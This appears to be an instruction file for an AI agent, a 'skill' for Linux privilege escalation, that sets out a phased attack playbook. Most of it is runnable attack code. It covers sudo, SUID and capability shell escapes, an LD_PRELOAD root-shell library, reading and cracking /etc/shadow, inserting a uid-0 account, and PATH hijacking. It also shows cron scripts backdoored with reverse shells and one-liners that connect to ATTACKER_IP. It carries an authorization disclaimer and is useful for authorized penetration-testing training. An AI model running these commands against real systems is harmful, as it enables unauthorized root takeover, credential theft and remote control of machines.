Linux Privilege Escalation

---
name: Linux Privilege Escalation
description: This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.
metadata:
  author: zebbern
  version: "1.1"
---

# Linux Privilege Escalation

## Purpose

Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.

## Inputs / Prerequisites

### Required Access
- Low-privilege shell access to target Linux system
- Ability to execute commands (interactive or semi-interactive shell)
- Network access for reverse shell connections (if needed)
- Attacker machine for payload hosting and receiving shells

### Technical Requirements
- Understanding of Linux filesystem permissions and ownership
- Familiarity with common Linux utilities and scripting
- Knowledge of kernel versions and associated vulnerabilities
- Basic understanding of compilation (gcc) for custom exploits

### Recommended Tools
- LinPEAS, LinEnum, or Linux Smart Enumeration scripts
- Linux Exploit Suggester (LES)
- GTFOBins reference for binary exploitation
- John the Ripper or Hashcat for password cracking
- Netcat or similar for reverse shells

## Outputs / Deliverables

### Primary Outputs
- Root shell access on target system
- Privilege escalation path documentation
- System enumeration findings report
- Recommendations for remediation

### Evidence Artifacts
- Screenshots of successful privilege escalation
- Command output logs demonstrating root access
- Identified vulnerability details
- Exploited configuration files

## Core Workflow

### Phase 1: System Enumeration

#### Basic System Information
Gather fundamental system details for vulnerability research:

```bash
# Hostname and system role
hostname

# Kernel version and architecture
uname -a

# Detailed kernel information
cat /proc/version

# Operating system details
cat /etc/issue
cat /etc/*-release

# Architecture
arch
```

#### User and Permission Enumeration

```bash
# Current user context
whoami
id

# Users with login shells
cat /etc/passwd | grep -v nologin | grep -v false

# Users with home directories
cat /etc/passwd | grep home

# Group memberships
groups

# Other logged-in users
w
who
```

#### Network Information

```bash
# Network interfaces
ifconfig
ip addr

# Routing table
ip route

# Active connections
netstat -antup
ss -tulpn

# Listening services
netstat -l
```

#### Process and Service Enumeration

```bash
# All running processes
ps aux
ps -ef

# Process tree view
ps axjf

# Services running as root
ps aux | grep root
```

#### Environment Variables

```bash
# Full environment
env

# PATH variable (for hijacking)
echo $PATH
```

### Phase 2: Automated Enumeration

Deploy automated scripts for comprehensive enumeration:

```bash
# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
./LinEnum.sh -t

# Linux Smart Enumeration
./lse.sh -l 1

# Linux Exploit Suggester
./les.sh
```

Transfer scripts to target system:

```bash
# On attacker machine
python3 -m http.server 8000

# On target machine
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

### Phase 3: Kernel Exploits

#### Identify Kernel Version

```bash
uname -r
cat /proc/version
```

#### Search for Exploits

```bash
# Use Linux Exploit Suggester
./linux-exploit-suggester.sh

# Manual search on exploit-db
searchsploit linux kernel [version]
```

#### Common Kernel Exploits

| Kernel Version | Exploit | CVE |
|---------------|---------|-----|
| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 |
| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 |
| 5.8+ | Dirty Pipe | CVE-2022-0847 |

#### Compile and Execute

```bash
# Transfer exploit source
wget http://ATTACKER_IP/exploit.c

# Compile on target
gcc exploit.c -o exploit

# Execute
./exploit
```

### Phase 4: Sudo Exploitation

#### Enumerate Sudo Privileges

```bash
sudo -l
```

#### GTFOBins Sudo Exploitation
Reference https://gtfobins.github.io for exploitation commands:

```bash
# Example: vim with sudo
sudo vim -c ':!/bin/bash'

# Example: find with sudo
sudo find . -exec /bin/sh \; -quit

# Example: awk with sudo
sudo awk 'BEGIN {system("/bin/bash")}'

# Example: python with sudo
sudo python -c 'import os; os.system("/bin/bash")'

# Example: less with sudo
sudo less /etc/passwd
!/bin/bash
```

#### LD_PRELOAD Exploitation
When env_keep includes LD_PRELOAD:

```c
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

```bash
# Compile shared library
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

# Execute with sudo
sudo LD_PRELOAD=/tmp/shell.so find
```

### Phase 5: SUID Binary Exploitation

#### Find SUID Binaries

```bash
find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
```

#### Exploit SUID Binaries
Reference GTFOBins for SUID exploitation:

```bash
# Example: base64 for file reading
LFILE=/etc/shadow
base64 "$LFILE" | base64 -d

# Example: cp for file writing
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p

# Example: find with SUID
find . -exec /bin/sh -p \; -quit
```

#### Password Cracking via SUID

```bash
# Read shadow file (if base64 has SUID)
base64 /etc/shadow | base64 -d > shadow.txt
base64 /etc/passwd | base64 -d > passwd.txt

# On attacker machine
unshadow passwd.txt shadow.txt > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

#### Add User to passwd (if nano/vim has SUID)

```bash
# Generate password hash
openssl passwd -1 -salt new newpassword

# Add to /etc/passwd (using SUID editor)
newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
```

### Phase 6: Capabilities Exploitation

#### Enumerate Capabilities

```bash
getcap -r / 2>/dev/null
```

#### Exploit Capabilities

```bash
# Example: python with cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Example: vim with cap_setuid
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'

# Example: perl with cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
```

### Phase 7: Cron Job Exploitation

#### Enumerate Cron Jobs

```bash
# System crontab
cat /etc/crontab

# User crontabs
ls -la /var/spool/cron/crontabs/

# Cron directories
ls -la /etc/cron.*

# Systemd timers
systemctl list-timers
```

#### Exploit Writable Cron Scripts

```bash
# Identify writable cron script from /etc/crontab
ls -la /opt/backup.sh        # Check permissions
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh

# If cron references non-existent script in writable PATH
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
chmod +x /home/user/antivirus.sh
```

### Phase 8: PATH Hijacking

```bash
# Find SUID binary calling external command
strings /usr/local/bin/suid-binary
# Shows: system("service apache2 start")

# Hijack by creating malicious binary in writable PATH
export PATH=/tmp:$PATH
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
chmod +x /tmp/service
/usr/local/bin/suid-binary      # Execute SUID binary
```

### Phase 9: NFS Exploitation

```bash
# On target - look for no_root_squash option
cat /etc/exports

# On attacker - mount share and create SUID binary
showmount -e TARGET_IP
mount -o rw TARGET_IP:/share /tmp/nfs

# Create and compile SUID shell
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell

# On target - execute
/share/shell
```

## Quick Reference

### Enumeration Commands Summary
| Purpose | Command |
|---------|---------|
| Kernel version | `uname -a` |
| Current user | `id` |
| Sudo rights | `sudo -l` |
| SUID files | `find / -perm -u=s -type f 2>/dev/null` |
| Capabilities | `getcap -r / 2>/dev/null` |
| Cron jobs | `cat /etc/crontab` |
| Writable dirs | `find / -writable -type d 2>/dev/null` |
| NFS exports | `cat /etc/exports` |

### Reverse Shell One-Liners
```bash
# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Netcat
nc -e /bin/bash ATTACKER_IP 4444

# Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'
```

### Key Resources
- GTFOBins: https://gtfobins.github.io
- LinPEAS: https://github.com/carlospolop/PEASS-ng
- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester

## Constraints and Guardrails

### Operational Boundaries
- Verify kernel exploits in test environment before production use
- Failed kernel exploits may crash the system
- Document all changes made during privilege escalation
- Maintain access persistence only as authorized

### Technical Limitations
- Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP)
- AppArmor/SELinux may restrict exploitation techniques
- Container environments limit kernel-level exploits
- Hardened systems may have restricted sudo configurations

### Legal and Ethical Requirements
- Written authorization required before testing
- Stay within defined scope boundaries
- Report critical findings immediately
- Do not access data beyond scope requirements

## Examples

### Example 1: Sudo to Root via find

**Scenario**: User has sudo rights for find command

```bash
$ sudo -l
User user may run the following commands:
    (root) NOPASSWD: /usr/bin/find

$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
```

### Example 2: SUID base64 for Shadow Access

**Scenario**: base64 binary has SUID bit set

```bash
$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64

$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::

# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txt
```

### Example 3: Cron Job Script Hijacking

**Scenario**: Root cron job executes writable script

```bash
$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh

$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh

$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh

# Wait 1 minute
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)
```

## Troubleshooting

| Issue | Solutions |
|-------|-----------|
| Exploit compilation fails | Check for gcc: `which gcc`; compile on attacker for same arch; use `gcc -static` |
| Reverse shell not connecting | Check firewall; try ports 443/80; use staged payloads; check egress filtering |
| SUID binary not exploitable | Verify version matches GTFOBins; check AppArmor/SELinux; some binaries drop privileges |
| Cron job not executing | Verify cron running: `service cron status`; check +x permissions; verify PATH in crontab |